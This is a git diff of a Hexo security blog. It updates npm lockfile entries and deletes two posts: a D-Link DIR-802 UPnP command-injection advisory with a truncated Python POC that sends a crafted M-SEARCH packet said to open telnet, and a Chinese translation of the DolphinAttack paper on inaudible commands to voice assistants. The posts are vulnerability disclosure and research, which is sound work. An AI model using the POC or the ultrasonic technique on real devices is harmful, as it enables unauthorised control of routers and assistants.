"arr-flatten": "^1.1.0",
"array-unique": "^0.3.2",
@ -3368,6 +2917,7 @@
"version": "2.0.1",
"resolved": "http://registry.npm.taobao.org/extend-shallow/download/extend-shallow-2.0.1.tgz",
"integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
"optional": true,
"requires": {
"is-extendable": "^0.1.0"
}
@ -3526,6 +3076,7 @@
"version": "4.0.0",
"resolved": "http://registry.npm.taobao.org/fill-range/download/fill-range-4.0.0.tgz",
"integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=",
"optional": true,
"requires": {
"extend-shallow": "^2.0.1",
"is-number": "^3.0.0",
@ -3537,6 +3088,7 @@
"version": "2.0.1",
"resolved": "http://registry.npm.taobao.org/extend-shallow/download/extend-shallow-2.0.1.tgz",
"integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
"optional": true,
"requires": {
"is-extendable": "^0.1.0"
}
@ -3596,7 +3148,8 @@
"is-extglob": {
"version": "2.1.1",
"resolved": "http://registry.npm.taobao.org/is-extglob/download/is-extglob-2.1.1.tgz",
"integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI="
"integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=",
"optional": true
},
"is-glob": {
"version": "4.0.0",
@ -3611,6 +3164,7 @@
"version": "3.0.0",
"resolved": "http://registry.npm.taobao.org/is-number/download/is-number-3.0.0.tgz",
"integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=",
"optional": true,
"requires": {
"kind-of": "^3.0.2"
},
@ -3619,6 +3173,7 @@
"version": "3.2.2",
"resolved": "http://registry.npm.taobao.org/kind-of/download/kind-of-3.2.2.tgz",
"integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
"optional": true,
"requires": {
"is-buffer": "^1.1.5"
}
@ -3628,12 +3183,14 @@
"isobject": {
"version": "3.0.1",
"resolved": "http://registry.npm.taobao.org/isobject/download/isobject-3.0.1.tgz",
"integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8="
"integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=",
"optional": true
},
"kind-of": {
"version": "6.0.2",
"resolved": "http://registry.npm.taobao.org/kind-of/download/kind-of-6.0.2.tgz",
"integrity": "sha1-ARRrNqYhjmTljzqNZt5df8b20FE="
"integrity": "sha1-ARRrNqYhjmTljzqNZt5df8b20FE=",
"optional": true
},
"micromatch": {
"version": "3.1.10",
@ -3802,34 +3359,6 @@
"resolved": "http://registry.npm.taobao.org/parseurl/download/parseurl-1.3.2.tgz",
"integrity": "sha1-/CidTtiZMRlGDBViUyYs3I3mW/M="
},
"pascal-case": {
"version": "3.1.2",
"resolved": "https://registry.npmjs.org/pascal-case/-/pascal-case-3.1.2.tgz",
"integrity": "sha512-uWlGT3YSnK9x3BQJaOdcZwrnV6hPpd8jFH1/ucpiLRPh/2zCVJKS19E4GvYHvaCcACn3foXZ0cLB9Wrx1KGe5g==",
"requires": {
"no-case": "^3.0.4",
"tslib": "^2.0.3"
},
"dependencies": {
"lower-case": {
"version": "2.0.2",
"resolved": "https://registry.npmjs.org/lower-case/-/lower-case-2.0.2.tgz",
"integrity": "sha512-7fm3l3NAF9WfN6W3JOmf5drwpVqX78JtoGJ3A6W0a6ZnldM41w2fV5D490psKFTpMds8TJse/eHLFFsNHHjHgg==",
"requires": {
"tslib": "^2.0.3"
}
},
"no-case": {
"version": "3.0.4",
"resolved": "https://registry.npmjs.org/no-case/-/no-case-3.0.4.tgz",
"integrity": "sha512-fgAN3jGAh+RoxUGZHTSOLJIqUc2wmoBwGR4tbpNAKmmovFoWq0OdRkb0VkldReO2a2iBT/OEulG9XSUc10r3zg==",
"requires": {
"lower-case": "^2.0.2",
"tslib": "^2.0.3"
}
}
}
},
"pascalcase": {
"version": "0.1.1",
"resolved": "http://registry.npm.taobao.org/pascalcase/download/pascalcase-0.1.1.tgz",
@ -3845,21 +3374,11 @@
"resolved": "http://registry.npm.taobao.org/path-is-absolute/download/path-is-absolute-1.0.1.tgz",
"integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18="
},
"path-key": {
"version": "3.1.1",
"resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz",
"integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q=="
},
"path-parse": {
"version": "1.0.6",
"resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.6.tgz",
"integrity": "sha512-GSmOT2EbHrINBf9SR7CDELwlJ8AENk3Qn7OikK4nFYAu3Ote2+JYNVvkpAEQm3/TLNEJFD/xZJjzyxg3KBWOzw=="
},
"picomatch": {
"version": "2.2.2",
"resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.2.2.tgz",
"integrity": "sha512-q0M/9eZHzmr0AulXyPwNfZjtwZ/RBZlbN3K3CErVrk50T2ASYI7Bye0EvekFY3IP1Nt2DHu0re+V2ZHIpMkuWg=="
},
"posix-character-classes": {
"version": "0.1.1",
"resolved": "http://registry.npm.taobao.org/posix-character-classes/download/posix-character-classes-0.1.1.tgz",
@ -3875,14 +3394,6 @@
"resolved": "https://registry.npmjs.org/pretty-hrtime/-/pretty-hrtime-1.0.3.tgz",
"integrity": "sha1-t+PqQkNaTJsnWdmeDyAesZWALuE="
},
"prismjs": {
"version": "1.23.0",
"resolved": "https://registry.npmjs.org/prismjs/-/prismjs-1.23.0.tgz",
"integrity": "sha512-c29LVsqOaLbBHuIbsTxaKENh1N2EQBOHaWv7gkHN4dgRbxSREqDnDbtFJYdpPauS4YCplMSNCABQ6Eeor69bAA==",
"requires": {
"clipboard": "^2.0.0"
}
},
"process-nextick-args": {
"version": "2.0.0",
"resolved": "http://registry.npm.taobao.org/process-nextick-args/download/process-nextick-args-2.0.0.tgz",
@ -4303,12 +3814,6 @@
"resolved": "http://registry.npm.taobao.org/sax/download/sax-0.5.8.tgz",
"integrity": "sha1-1HLbIo6zMcJQaw6MFVJK25OdEsE="
},
"select": {
"version": "1.1.2",
"resolved": "https://registry.npmjs.org/select/-/select-1.1.2.tgz",
"integrity": "sha1-DnNQrN7ICxEIUoeG7B1EGNEbOW0=",
"optional": true
},
"send": {
"version": "0.16.2",
"resolved": "http://registry.npm.taobao.org/send/download/send-0.16.2.tgz",
@ -4378,19 +3883,6 @@
"resolved": "http://registry.npm.taobao.org/setprototypeof/download/setprototypeof-1.1.0.tgz",
"integrity": "sha1-0L2FU2iHtv58DYGMuWLZ2RxU5lY="
},
"shebang-command": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz",
"integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==",
"requires": {
"shebang-regex": "^3.0.0"
}
},
"shebang-regex": {
"version": "3.0.0",
"resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz",
"integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A=="
},
"snapdragon": {
"version": "0.8.2",
"resolved": "http://registry.npm.taobao.org/snapdragon/download/snapdragon-0.8.2.tgz",
@ -4679,12 +4171,6 @@
"os-homedir": "^1.0.0"
}
},
"tiny-emitter": {
"version": "2.1.0",
"resolved": "https://registry.npmjs.org/tiny-emitter/-/tiny-emitter-2.1.0.tgz",
"integrity": "sha512-NB6Dk1A9xgQPMoGqC5CVXn123gWyte215ONT5Pp5a0yt4nlEoO1ZWeCwpncaekPHXO60i47ihFnZPiRPjRMq4Q==",
"optional": true
},
"titlecase": {
"version": "1.1.3",
"resolved": "https://registry.npmjs.org/titlecase/-/titlecase-1.1.3.tgz",
@ -4738,11 +4224,6 @@
"resolved": "http://registry.npm.taobao.org/trim-right/download/trim-right-1.0.1.tgz",
"integrity": "sha1-yy4SAwZ+DI3h9hQJS5/kVwTqYAM="
},
"tslib": {
"version": "2.1.0",
"resolved": "https://registry.npmjs.org/tslib/-/tslib-2.1.0.tgz",
"integrity": "sha512-hcVC3wYEziELGGmEEXue7D75zbwIIVUMWAVbHItGPx0ziyXxrOMQx4rQEVEV45Ut/1IotuEvwqPopzIOkDMf0A=="
},
"uglify-js": {
"version": "2.6.0",
"resolved": "http://registry.npm.taobao.org/uglify-js/download/uglify-js-2.6.0.tgz",
@ -4797,20 +4278,6 @@
"resolved": "http://registry.npm.taobao.org/uglify-to-browserify/download/uglify-to-browserify-1.0.2.tgz",
"integrity": "sha1-bgkk1r2mta/jSeOabWMoUKD4grc="
},
"underscore": {
"version": "1.10.2",
"resolved": "https://registry.npmjs.org/underscore/-/underscore-1.10.2.tgz",
"integrity": "sha512-N4P+Q/BuyuEKFJ43B9gYuOj4TQUHXX+j2FqguVOpjkssLUUrnJofCcBccJSCoeturDoZU6GorDTHSvUDlSQbTg=="
},
"underscore.string": {
"version": "3.3.5",
"resolved": "https://registry.npmjs.org/underscore.string/-/underscore.string-3.3.5.tgz",
"integrity": "sha512-g+dpmgn+XBneLmXXo+sGlW5xQEt4ErkS3mgeN2GFbremYeMBSJKr9Wf2KJplQVaiPY/f7FN6atosWYNm9ovrYg==",
"requires": {
"sprintf-js": "^1.0.3",
"util-deprecate": "^1.0.2"
}
},
"union-value": {
"version": "1.0.0",
"resolved": "http://registry.npm.taobao.org/union-value/download/union-value-1.0.0.tgz",

View File

@ -12,11 +12,9 @@
"hexo-generator-archive": "^0.1.5",
"hexo-generator-baidu-sitemap": "^0.1.6",
"hexo-generator-category": "^0.1.3",
"hexo-generator-feed": "^3.0.0",
"hexo-generator-index": "^0.2.1",
"hexo-generator-json-content": "^4.2.3",
"hexo-generator-search": "^2.4.0",
"hexo-generator-searchdb": "^1.3.3",
"hexo-generator-searchdb": "^1.0.8",
"hexo-generator-sitemap": "^1.2.0",
"hexo-generator-tag": "^0.2.0",
"hexo-renderer-ejs": "^0.3.1",

View File

@ -5,9 +5,11 @@ tags:
- AFL
- 模糊测试
categories: 二进制
description: 接触这个词语已经有一年了但还没有学习过更没有上手实践过正好趁这个机会好好弄弄AFL。提起模糊测试我们总会联想起这样或那样的专业术语——测试用例、代码覆盖率、执行路径等等你可能和我一样一头雾水这次我们就来看个明白
---
接触这个词语已经有一年了但还没有学习过更没有上手实践过正好趁这个机会好好弄弄AFL。提起模糊测试我们总会联想起这样或那样的专业术语——测试用例、代码覆盖率、执行路径等等你可能和我一样一头雾水这次我们就来看个明白
------------------------------------------
# 0x01 模糊测试

View File

@ -6,7 +6,6 @@ tags:
- 复原文件
- 取证
categories: "顶会论文"
description: 再也不敢删库跑路了!
---
# Carving Database Storage to Detect and Trace Security Breaches

View File

@ -1,47 +0,0 @@
---
title: DIR-802 OS Command Injection
date: 2021-03-02 13:36:32
tags:
- D-LINK
- UPnP
- 固件模拟
categories:
- IOT
description: 提交个漏洞
---
### D-LINK DIR-802 命令注入漏洞
> by Cool
#### 漏洞已提交厂商
https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10206
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29379
#### 漏洞类型
CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
#### 受影响设备及软件版本
DIR-802 hardware revision Ax before v1.00b05
https://pmdap.dlink.com.tw/PMD/GetAgileFile?itemNumber=FIR1300450&fileName=DIR802_FW100b05.zip&fileSize=6163759.0;
#### 漏洞概要
DIR-802中存在一个命令注入漏洞攻击者可以通过精心制作的M-SEARCH数据包向UPnP注入任意命令。
#### 漏洞详情
与CVE-2020-15893相似在固件版本v-1.00b05之前的D-Link DIR-802 A1上发现了一个问题。默认情况下端口1900上启用了通用即插即用UPnP。攻击者可以通过将有效负载注入SSDP M-SEARCH发现数据包的“搜索目标”ST字段来执行命令注入。
#### POC
```python
# coding: utf-8
import socket
import struct
buf = 'M-SEARCH * HTTP/1.1\r\nHOST:192.168.0.1:1900\r\nST:urn:schemas-upnp-org:service
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("192.168.0.1", 1900))
s.send(buf)
s.close()
```
#### 漏洞复现
使用firmadyne进行固件模拟运行UPnP服务
<img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1614665628/cve/carbon.png">
攻击者可以是连接到路由器局域网内并且能够向UPnP端口发送请求的任何人。可以通过编写简单的python脚本将精心制作的数据包发送到特定的upnp端口该脚本随后将作为精心制作的请求的一部分执行提供的命令。共享的POC将打开端口8089上的telnet服务。
<img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1614665899/cve/carbon_1.png">

View File

@ -7,7 +7,6 @@ tags:
- 调试
categories:
- IOT
description: 如果能够调试一个IoT设备那挖漏洞将会简单很多
---
# 0x00 背景与简介

View File

@ -1,280 +0,0 @@
---
title: Dolphin Attack 论文翻译
date: 2021-01-08 11:58:55
tags:
- 硬件攻击
- 传感器
- 语音助手
categories:
- 顶会论文
description: 算是进入安全领域以来第一篇看懂的论文QAQ
---
# 海豚音攻击
https://acmccs.github.io/papers/p103-zhangAemb.pdf
https://github.com/USSLab/DolphinAttack
https://zhuanlan.zhihu.com/p/29306026
## Abstract
诸如Siri或Google Now之类的语音识别SR系统已经成为一种越来越流行的人机交互方法并将各种系统转变为语音可控系统VCS。先前对VCS进行攻击的工作表明人们无法理解的隐藏语音命令可以控制系统。隐藏的语音命令尽管是“隐藏的”但还是可以听到的。在这项工作中我们设计了一个完全听不见的攻击DolphinAttack它可以调制超声载波上的语音命令例如f> 20 kHz以实现听不清。通过利用麦克风电路的非线性特性语音识别系统可以成功地解调恢复调制的低频音频命令并对其进行更重要的解释。我们在流行的语音识别系统上验证了DolphinAttack包括SiriGoogle Now三星S Voice华为HiVoiceCortana和Alexa。通过注入一系列听不见的语音命令我们展示了一些概念验证攻击包括激活Siri以在iPhone上发起FaceTime通话激活Google Now以将手机切换为飞行模式甚至操纵导航系统在奥迪汽车上。我们提出了硬件和软件防御解决方案。我们验证通过使用支持向量机SVM对音频进行分类来检测DolphinAttack是可行的并建议重新设计语音可控系统以应对听不见的语音命令攻击。
关键字语音可控系统语音识别MEMS麦克风安全分析防御
## 1 Introduction
语音识别SR技术允许机器或程序识别口语单词并将其转换为机器可读格式。 由于它的可访问性,效率以及最近在识别精度方面的进步,它已成为越来越流行的人机交互机制。 结果语音识别系统已将各种各样的系统变成语音可控系统VCSApple Siri [5]和Google Now [21]允许用户通过语音发起电话呼叫; Alexa [4]已使用户能够指示Amazon Echo订购外卖安排Uber骑行等。随着研究人员将大量精力投入到改善SR系统的性能上人们对语音识别和语音的了解程度却鲜为人知。 可控系统在故意和偷偷摸摸的攻击下表现良好。
先前的工作[10、61]已经表明SR系统可以理解人类难以理解的混淆语音命令因此可以控制系统而不会被检测到。 这些语音命令虽然是“隐藏的”,但仍然可以听见并且仍然很明显。 本文旨在研究难以检测到的攻击的可行性,并且本文受到以下关键问题的驱动:语音命令是否可以被人听不见,而仍然可以被设备听见,并且可以被语音识别系统理解? 注入一系列听不见的语音命令是否会导致语音可控系统出现未注意到的安全漏洞? 为了回答这些问题我们设计了DolphinAttack这是一种通过利用超声通道即f> 20 kHz和基础音频硬件的漏洞在VCS处注入听不见的语音命令的方法。
由于以下疑问,听不见的语音命令似乎不可行。
a设备如何听到听不到的声音人类声音和听力的上限频率为20 kHz。因此大多数具有音频功能的设备例如电话采用低于44 kHz的音频采样率并应用低通滤波器来消除高于20 kHz的信号[32]。先前的工作[61]认为不可能接收20 kHz以上的声音。
bSR系统如何理解听不见的声音即使超声被硬件接收并正确采样SR系统也不会识别与人的音调特征不匹配的信号因此无法解释命令。
c听不见的声音如何导致VCS发生未注意到的安全漏洞控制VCS的第一步是激活它们。许多VCS例如智能手机和智能家居设备实现了始终在线功能该功能可通过依赖于说话者的唤醒词来激活它们此类系统利用语音识别来认证用户。随机语音命令不会通过语音识别。
我们解决了所有这些问题并且我们证明了DolphinAttack语音命令虽然完全听不见因此对于人类来说是听不见的但是它们可以被设备的音频硬件接收并且可以被语音识别系统正确理解。我们在主要的语音识别系统上验证了DolphinAttack包括SiriGoogle Now三星S Voice [43]华为HiVoice [65]Cortana [37]和Alexa。
无法听见的语音命令质疑通用设计假设即对手最多只能尝试以语音方式操纵VCS并且可以被警报用户检测到。 此外我们通过询问以下内容来表征这种假设的安全后果一系列听不见的语音命令可以在多大程度上危害VCS的安全性。 为了说明这一点我们展示了DolphinAttack可以完全通过一系列听不见的语音命令来实现以下偷偷摸摸的攻击
1访问恶意网站。 该设备可以打开一个恶意网站该网站可以发起按下载驱动器攻击或利用具有0天漏洞的设备。
2间谍。 攻击者可以使受害设备发起视频/电话呼叫,因此可以访问设备周围的图像/声音。
3注入虚假信息。 攻击者可以指示受害设备发送虚假的文本消息和电子邮件,发布虚假的在线帖子,向日历中添加虚假的事件等。
4拒绝服务。 对手可能会注入命令以开启飞行模式,从而断开所有无线通信。
5隐藏攻击。 屏幕显示和语音反馈可能会暴露攻击。 对手可以通过调暗屏幕和降低音量来降低失败率。
我们已经在16种VCS型号上测试了这些攻击包括Apple iPhoneGoogle NexusAmazon Echo和汽车。 每次攻击至少在一个SR系统上成功。 我们认为该列表到目前为止还不够全面。 尽管如此,它还是一个预警,可以重新考虑在语音可控系统中应支持哪些功能和人类交互级别。
总而言之,我们的贡献如下:
•我们展示了DolphinAttack它可以利用无法听见的声音和音频电路的特性在最先进的语音识别系统中注入隐蔽的语音命令。 我们在16个常见的语音可控系统平台上的7种流行语音识别系统例如SiriGoogle NowAlexa上验证了DolphinAttack。
•我们证明了对手可以注入一系列听不见的语音命令来激活始终在线的系统并实现各种恶意攻击。 经过测试的攻击包括在iPhone上启动Facetime在Amazon Echo上播放音乐以及操纵奥迪汽车中的导航系统。
•我们建议同时使用基于硬件和基于软件的防御策略来减轻攻击,并提供增强语音可控系统安全性的建议。
## 2 背景和威胁模型
在本节中我们介绍流行的语音可控系统并以MEMS麦克风为重点讨论它们的体系结构。
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_23.png)
### 2.1 语音可控系统VCS
一个典型的语音可控系统由三个主要子系统组成语音捕获语音识别和命令执行如图1所示。语音捕获子系统记录环境语音这些环境语音在被传递到 语音识别子系统之前被放大,过滤和数字化。然后,首先对原始捕获的数字信号进行预处理,以去除超出声音范围的频率,并丢弃包含声音太弱而无法识别的信号段。 接下来,处理后的信号进入语音识别系统。
通常语音识别系统在两个阶段工作激活和识别。在激活阶段系统无法接受任意语音输入但会等待激活。要激活系统用户必须说出预定义的唤醒词或按特殊键。例如Amazon echo将“ Alexa”作为激活唤醒词。按住主屏幕按钮约一秒钟可以激活Apple Siri如果启用了“ Allow Hey Siri”功能则可以通过“ Hey Siri”激活。要识别唤醒词麦克风会继续录制环境声音直到发出声音为止。然后系统将使用与说话者无关或与说话者无关的语音识别算法来识别语音。例如只要声音清晰且响亮Amazon Echo就会采用与说话者无关的算法并接受任何人说的“ Alexa”。相比之下Apple Siri取决于扬声器。 Siri需要接受用户培训并且仅接受同一个人的“ Hey Siri”。激活后SR系统将进入识别阶段通常将使用与说话者无关的算法将语音转换为文本即本例中的命令。
请注意与说话者相关的SR通常在本地执行与说话者无关的SR通过云服务执行[28]。 要使用云服务已处理的信号将发送到服务器服务器将提取特征通常为Mel频率倒谱系数[10、27、62])并通过机器学习算法(例如,隐马尔可夫模型或神经网络)识别命令 网络)。 最后,命令被发回。
给定已识别的命令,命令执行系统将启动相应的应用程序或执行操作。 可接受的命令和相应的动作取决于系统,并且是预先定义的。 流行的语音可控系统包括智能手机,可穿戴设备,智能家居设备和汽车。 智能手机允许用户通过语音命令执行广泛的操作,例如拨打电话号码,发送短信,打开网页,将手机设置为飞行模式等。现代汽车接受一系列精心设计的语音命令来激活 并控制一些车载功能例如GPS娱乐系统环境控制和手机。 例如如果识别出“呼叫1234567890”则汽车或智能手机可能会开始拨打电话号码1234567890
关于语音可控系统的许多安全性研究都集中于攻击语音识别算法[10]或命令执行环境(例如恶意软件)。 本文针对语音捕获子系统,将在下一部分中对其进行详细介绍。
### 2.2 麦克风
语音捕获子系统记录可听见的声音并且主要是麦克风其是将空气传播的声波即声音转换为电信号的换能器。最古老和最受欢迎的麦克风之一是电容式麦克风它通过容量变化将声波转换为电信号。驻极体电容式麦克风ECM和微机电系统MEMS[2、3、29、52、53]版本都可以在市场上购买。由于微型封装尺寸和低功耗MEMS麦克风主导了语音可控设备包括智能手机可穿戴设备。因此本文主要关注MEMS麦克风并将简要报告有关ECM的结果。不过MEMS和ECM的工作原理相似。如图2b所示MEMS麦克风包含薄膜可移动板和互补的带孔背板固定板[54]。在存在声波的情况下,由声波引起的气压穿过背板上的孔并到达隔膜,该隔膜是一种薄的固体结构,可响应气压的变化而弯曲[64]。这种机械变形导致电容变化。由于电容器上保持几乎恒定的电荷因此电容变化将产生交流信号。这样气压被转换成电信号以进行进一步处理。类似地如图2a所示ECM麦克风利用由柔性膜和固定板形成的电容来记录声波。
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_24.png)
语音捕获子系统中的麦克风低通滤波器LPF和ADC旨在捕获可听声音所有这些功能都旨在抑制超出可听声音频率范围即20 Hz至20 kHz的信号。 根据数据表麦克风的灵敏度频谱在20 Hz至20 kHz之间理想情况下应过滤任何其他频率范围内的信号。 即使麦克风记录了高于20 kHz的信号LPF也应将其删除。 最后ADC的采样率通常为44.1 kHz根据奈奎斯特采样定理数字化信号的频率被限制在22 kHz以下。
### 2.3 威胁模型
攻击者的目标是在用户不知情的情况下将语音命令注入到语音可控系统中,并执行未经身份验证的操作。我们假设对手无法直接访问目标设备,拥有自己的传输声音信号的设备,并且无法要求所有者执行任何任务。
* 没有目标设备访问权限。我们假设对手可以针对她选择的任何语音可控系统,但她无法直接访问目标设备。她无法实际触摸它们,更改设备设置或安装恶意软件。但是,我们假设她完全了解目标设备的特性。可以通过首先获取设备模型,然后在发起攻击之前分析相同模型的设备来获得此类知识。
* 没有所有者交互。我们假设目标设备可能在所有者附近但可能没有在使用中并且不引起注意例如在桌子的另一侧屏幕遮盖的地方或放在口袋中。此外设备可能无人看管这可能在所有者暂时不在时例如将Amazon Echo留在房间中发生。或者设备可能被盗对手可能会尝试各种可能的方法来解锁屏幕。但是对手不能要求所有者执行任何操作例如按下按钮或解锁屏幕。
* 听不见。由于对手的目标是在不被检测到的情况下注入语音命令因此她将使用人类听不到的声音即超声波f> 20 kHz。请注意我们没有使用高频声音18 kHz <f <20 kHz因为它们仍然可以被孩子听到
* 攻击装备。我们假设对手既可以获取用于发射超声波的扬声器,也可以获取用于播放声音的商品设备。攻击者在目标设备附近。例如,她可能会在受害人的桌子或家附近秘密地留下一个可远程控制的扬声器。或者,她可能在受害者走动时携带便携式扬声器。
## 3 可行性分析
DolphinAttack的基本思想是a在空中传输之前在超声载波上调制低频语音信号即基带以及b在接收器处用语音捕获硬件对调制后的语音信号进行解调。由于我们无法控制语音捕获硬件因此我们必须以一种可以使用语音捕获硬件将其解调为基带信号的方式来调制信号。假设麦克风模块始终利用LPF抑制不想要的高频信号则解调应在LPF之前完成。
由于语音捕获硬件的信号路径从麦克风一个或多个放大器LPF到ADC开始因此解调的潜在组件是麦克风和放大器。我们研究了完成DolphinAttack的原理。尽管诸如放大器之类的电子组件被设计为线性的但实际上它们表现出非线性。利用这种非线性特性电子元件能够创建新的频率[25]。尽管已经报道并利用了放大器模块的非线性但包括ECM麦克风和MEMS麦克风在内的麦克风是否具有这种特性仍是未知的。
为了进行研究,我们首先在理论上对麦克风模块的非线性建模,然后显示非线性对实际麦克风模块的影响。
### 3.1非线性效应建模
麦克风将机械声波转换为电信号。 从本质上讲,麦克风可以粗略地视为在输入/输出信号传输特性中具有平方律非线性的组件[1、13]。 众所周知,放大器具有非线性特性,可以产生低频范围内的解调信号[20]。 在本文中,我们研究了麦克风的非线性,可以将其建模如下。 假设输入信号为sint输出信号soutt
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610080973/Dolphin%20Attack/image_25.png)
其中A是输入信号的增益B是二次项s2 in的增益。线性分量采用频率为f的正弦输入信号并输出具有相同频率f的正弦信号。 相比之下电气设备的非线性会产生谐波和叉积2。尽管通常将它们视为不希望的失真[31],但具有非线性的设备能够生成新的频率,并且通过精心设计的输入信号,它们可以将信号下变频为 以及恢复基带信号。
假设所需的语音控制信号为mt我们选择中心频率为fc的载波上的调制信号为
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610080973/Dolphin%20Attack/image_26.png)
即,使用幅度调制。 不失一般性设mt为简单基调即mt= cos2πfmt。 应用等式后。 21并进行傅立叶变换我们可以确认输出信号包含预期的频率分量fm以及sin的基本频率分量即fc-fmfc + fm和fc谐波和其他交叉 乘积即fm2fc-fm2fc + fm2fc2fc + fm和2fc-fm。 经过LPF后所有高频成分将被删除而fm频率成分将保留下来从而完成了下变频如图3所示。
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_271.png)
### 3.2 非线性效应评估
考虑到麦克风模块非线性效应的理论计算及其对调制后输入信号的影响在本节中我们将验证对真实麦克风的非线性效应。我们测试两种类型的麦克风ECM和MEMS麦克风。
#### 3.2.1 实验设置
实验设置如图5所示。我们使用iPhone SE智能手机生成2 kHz语音控制信号即基带信号。然后将基带信号输入到矢量信号发生器[57]该信号发生器将基带信号调制到载波上。经功率放大器放大后调制信号由高质量的全频带超声扬声器Vifa传输[9]。请注意我们选择的载波范围为9 kHz至20 kHz因为信号发生器无法生成低于9 kHz频率的信号。
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_281.png)在接收器端我们测试了从耳机中提取的ECM麦克风和ADMP401 MEMS麦克风[16]。如图5所示ADMP401麦克风模块包含一个前置放大器。为了了解麦克风的特性我们测量了麦克风而不是前置放大器输出的信号。
#### 3.2.2 结果
我们使用两种信号来研究非线性:单音和多音语音。
单音: 图4显示了当我们使用20 kHz载波时的结果这证实了麦克风的非线性有助于解调基带信号。前两个图显示了来自扬声器的原始信号的时域和频域从而很好地显示了载波频率20 kHz和上边带以及下边带20±2 kHz。第二行中的两个图显示了来自MEMS麦克风的输出信号下面两个图显示了来自ECM麦克风的输出信号。即使信号被衰减尤其是对于ECM麦克风两个麦克风在频域中的基带2 kHz仍能证实解调成功。请注意频域图包含多个高频谐波这些谐波将被LPF过滤并且不会影响语音识别。
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_27.png)
声音: 尽管我们可以成功地解调出信号音,但语音是各种频率下无数音调的混合,并且未知解调后的语音信号是否仍与原始信号相似。因此,我们计算了三个“ Hey”声音片段中的Mel频率倒谱系数MFCC这是声音使用最广泛的功能之一a由文本语音转换TTS引擎生成的原始语音b三星Galaxy S6 Edge以iPhone 6 plus录制的语音播放了原始TTS语音以及c三星S6 Edge以TTS语音调制的语音由全频带超声扬声器调制和播放Vifa [9]。如图6所示这三种情况的MFCC都是相似的。为了量化相似度我们计算了原始和记录之间的梅尔倒谱失真MCD情况b为3.1情况c为7.6。 MCD量化两个MFCC之间的失真数值越小越好。通常如果两个语音的MCD值小于8 [23]则认为它们可以被语音识别系统接受因此结果鼓励我们对DolphinAttack针对语音可控系统进行进一步的研究。
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_28.png)
## 4 攻击设计
DolphinAttack利用听不见的语音注入来静默控制VCS。由于攻击者几乎无法控制VCS因此成功进行攻击的关键是在攻击发送方生成听不见的语音命令。特别是DolphinAttack必须为VCS的激活和识别阶段生成语音命令的基带信号对基带信号进行调制以便可以在VCS上对其进行有效解调并设计一种可以在任何地方启动DolphinAttack的便携式发射机。 DolphinAttack的基本构建模块如图7所示我们将在以下小节中讨论这些细节。在不失一般性的前提下我们通过使用Siri作为案例研究来讨论设计细节并且该技术可以轻松地应用于其他SR系统例如Google NowHiVoice
### 4.1 语音命令生成
Siri的工作分为两个阶段激活和识别。它在接受语音命令之前需要激活因此我们生成两种类型的语音命令激活命令和常规控制命令。为了控制VCSDolphinAttack必须在注入常规控制命令之前生成激活命令。
#### 4.1.1 激活命令生成
成功的激活命令必须满足两个要求a包含唤醒词“ Hey Siri”以及b调成接受Siri训练的用户的特定语音。创建具有这两个要求的激活命令具有挑战性除非攻击者在附近并设法创建清晰的记录时用户碰巧说“ Hey Siri”。实际上攻击者最多可以偶然记录任意单词。如果可能的话使用现有的语音合成技术[38]和从录音中提取的特征来生成特定语音的“嘿Siri”是极其不同的因为目前尚不清楚Siri使用哪些特征集进行语音识别。因此我们设计了两种方法来分别针对两种情况生成激活命令a攻击者找不到Siri的所有者例如攻击者获得了被盗的智能手机以及b攻击者可以获得一些录音主人的声音。
1基于TTS的蛮力。 TTS技术的最新进展使将文本转换为语音变得容易。 因此即使攻击者没有机会从用户那里获得任何语音记录攻击者也可以通过TTS文本到语音系统生成一组包含唤醒词的激活命令。 观察到的启发是具有相似声调的两个用户可以激活另一个人的Siri。 因此只要集合中的激活命令之一具有与所有者足够接近的声音就足以激活Siri。 在DolphinAttack中我们借助现有的TTS系统如表1所示准备了一组具有各种音调和音色的激活命令其中包括Selvy SpeechBaiduGoogle等。总共我们获得了90种类型的TTS 声音。 我们选择Google TTS语音来训练Siri其余的用于攻击
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_29.png)
